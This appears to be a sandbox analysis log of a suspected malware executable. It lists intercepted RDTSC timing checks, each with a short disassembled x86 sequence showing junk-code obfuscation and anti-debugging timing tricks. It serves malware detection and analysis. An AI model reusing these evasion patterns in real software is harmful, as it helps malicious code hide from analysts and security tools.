Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1725E5A second address: 1725E60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1725E60 second address: 1725E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1724F0F second address: 1724F15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1725E64 second address: 1725E72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1724FE2 second address: 1724FE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1726E67 second address: 1726E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1725FFE second address: 1726002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1726E70 second address: 1726ECF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push eax 0x00000009 adc ebx, 234F8069h 0x0000000f pop ebx 0x00000010 push 00000000h 0x00000012 mov ebx, dword ptr [ebp+122D291Ch] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F3FC4805AC8h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 mov edi, dword ptr [ebp+1246CDC6h] 0x0000003a push eax 0x0000003b pushad 0x0000003c jmp 00007F3FC4805AD8h 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1726002 second address: 1726006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1726ECF second address: 1726ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1726006 second address: 17260A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F3FC515B338h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 ja 00007F3FC515B33Ch 0x0000002a mov dword ptr [ebp+122D19D3h], ebx 0x00000030 push dword ptr fs:[00000000h] 0x00000037 movsx ebx, dx 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 push 00000000h 0x00000043 push esi 0x00000044 call 00007F3FC515B338h 0x00000049 pop esi 0x0000004a mov dword ptr [esp+04h], esi 0x0000004e add dword ptr [esp+04h], 0000001Dh 0x00000056 inc esi 0x00000057 push esi 0x00000058 ret 0x00000059 pop esi 0x0000005a ret 0x0000005b mov dword ptr [ebp+122D191Ah], ecx 0x00000061 mov eax, dword ptr [ebp+122D0E1Dh] 0x00000067 or dword ptr [ebp+12463E23h], ebx 0x0000006d push FFFFFFFFh 0x0000006f jp 00007F3FC515B342h 0x00000075 pushad 0x00000076 mov di, A76Bh 0x0000007a mov ebx, dword ptr [ebp+122D2C33h] 0x00000080 popad 0x00000081 nop 0x00000082 push ebx 0x00000083 jp 00007F3FC515B33Ch 0x00000089 push eax 0x0000008a push edx 0x0000008b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1727E4D second address: 1727E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FC4805AD2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1727E63 second address: 1727EBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F3FC515B347h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F3FC515B338h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+12465A9Eh], edi 0x00000032 push esi 0x00000033 sbb di, 4466h 0x00000038 pop edi 0x00000039 push eax 0x0000003a push ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1727EBD second address: 1727EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1727EC1 second address: 1727EC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17270D1 second address: 17270D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17280B2 second address: 17280C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17280C0 second address: 17280DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC4805AD8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 172C749 second address: 172C751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 172C751 second address: 172C7E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F3FC4805AC8h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 mov edi, dword ptr [ebp+122D2BABh] 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov ebx, edx 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 mov edi, dword ptr [ebp+122D1BEFh] 0x0000003d mov eax, dword ptr [ebp+122D0015h] 0x00000043 push 00000000h 0x00000045 push ecx 0x00000046 call 00007F3FC4805AC8h 0x0000004b pop ecx 0x0000004c mov dword ptr [esp+04h], ecx 0x00000050 add dword ptr [esp+04h], 0000001Ch 0x00000058 inc ecx 0x00000059 push ecx 0x0000005a ret 0x0000005b pop ecx 0x0000005c ret 0x0000005d mov bh, 9Eh 0x0000005f jmp 00007F3FC4805AD9h 0x00000064 push FFFFFFFFh 0x00000066 movsx edi, di 0x00000069 nop 0x0000006a push edi 0x0000006b push eax 0x0000006c push edx 0x0000006d jng 00007F3FC4805AC6h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1730B38 second address: 1730B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16D7FC7 second address: 16D7FF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805ACFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F3FC4805AD1h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16D7FF2 second address: 16D7FF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 173AFC5 second address: 173AFCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 173AFCB second address: 173AFD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 173AFD0 second address: 173AFF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F3FC4805AC6h 0x00000009 jmp 00007F3FC4805ACAh 0x0000000e push edx 0x0000000f pop edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 pop edi 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 173AFF2 second address: 173B001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jp 00007F3FC515B342h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 173B153 second address: 173B15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3FC4805AC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 173B15D second address: 173B16D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3FC515B336h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 173F91E second address: 173F922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17413EC second address: 17413F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17413F2 second address: 1741415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b pushad 0x0000000c je 00007F3FC4805AC6h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3FC4805ACCh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1741415 second address: 174148B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push ecx 0x0000000b jmp 00007F3FC515B348h 0x00000010 pop ecx 0x00000011 jnp 00007F3FC515B345h 0x00000017 jmp 00007F3FC515B33Fh 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 pushad 0x00000022 pushad 0x00000023 jmp 00007F3FC515B345h 0x00000028 je 00007F3FC515B336h 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F3FC515B348h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17415E8 second address: 17415F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FC4805ACDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 174750C second address: 1747510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1747510 second address: 1747516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1747516 second address: 174751C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 174751C second address: 1747550 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805AD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F3FC4805B08h 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F3FC4805AC6h 0x00000017 jmp 00007F3FC4805ACDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1747550 second address: 1747572 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F3FC515B343h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jbe 00007F3FC515B336h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1747572 second address: 1747578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1746BAA second address: 1746BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1746BAE second address: 1746BEF instructions: 0x00000000 rdtsc 0x00000002 je 00007F3FC4805AC6h 0x00000008 jng 00007F3FC4805AC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jns 00007F3FC4805ACCh 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F3FC4805AD1h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F3FC4805ACEh 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1746BEF second address: 1746BF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1746D59 second address: 1746D74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805AD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1746D74 second address: 1746D98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B341h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3FC515B33Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1746EFB second address: 1746F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1746F01 second address: 1746F0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1746F0C second address: 1746F12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1747081 second address: 1747086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1747086 second address: 1747094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1747094 second address: 17470AB instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3FC515B336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 174A898 second address: 174A8A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 174A8A0 second address: 174A8A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 174A8A6 second address: 174A8AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 174A8AE second address: 174A8B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 174A8B3 second address: 174A8E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jnp 00007F3FC4805AC6h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F3FC4805AD5h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3FC4805ACFh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 174A8E9 second address: 174A8ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1712B2C second address: 1712B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1712E83 second address: 1712E92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3FC515B33Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1712E92 second address: 1712EB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F3FC4805AD2h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1712EB1 second address: 1712EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1712EB5 second address: 1712EB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 171301F second address: 171305F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3FC515B336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jne 00007F3FC515B336h 0x00000011 jmp 00007F3FC515B33Ch 0x00000016 popad 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c pushad 0x0000001d jmp 00007F3FC515B348h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 171305F second address: 1713078 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805ACEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1713078 second address: 17130BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC515B33Ah 0x00000009 popad 0x0000000a pop edx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007F3FC515B33Ah 0x00000014 pop eax 0x00000015 push ebx 0x00000016 mov dword ptr [ebp+122D2486h], edx 0x0000001c pop ecx 0x0000001d jmp 00007F3FC515B341h 0x00000022 push EC602801h 0x00000027 push eax 0x00000028 push edx 0x00000029 jbe 00007F3FC515B338h 0x0000002f push eax 0x00000030 pop eax 0x00000031 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 171315B second address: 171316B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F3FC4805AC6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 171316B second address: 171317A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B33Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1713212 second address: 1713221 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F3FC4805AC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1713467 second address: 1713478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 jnp 00007F3FC515B348h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1713478 second address: 171347C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1713879 second address: 1713880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1713B1A second address: 1713B6C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3FC4805AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F3FC4805ACDh 0x0000000f popad 0x00000010 push eax 0x00000011 push ecx 0x00000012 jne 00007F3FC4805AC8h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a pop ecx 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jnp 00007F3FC4805ACCh 0x00000025 pushad 0x00000026 push ecx 0x00000027 pop ecx 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b mov eax, dword ptr [eax] 0x0000002d jmp 00007F3FC4805ACBh 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push ecx 0x00000039 jmp 00007F3FC4805ACAh 0x0000003e pop ecx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1713CB6 second address: 16FB843 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B349h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F3FC515B338h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D2AA7h] 0x0000002a mov edx, dword ptr [ebp+122D19F4h] 0x00000030 call dword ptr [ebp+122D1AC6h] 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 jnp 00007F3FC515B336h 0x0000003f pop eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 jns 00007F3FC515B336h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16FB843 second address: 16FB84B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16FB84B second address: 16FB850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
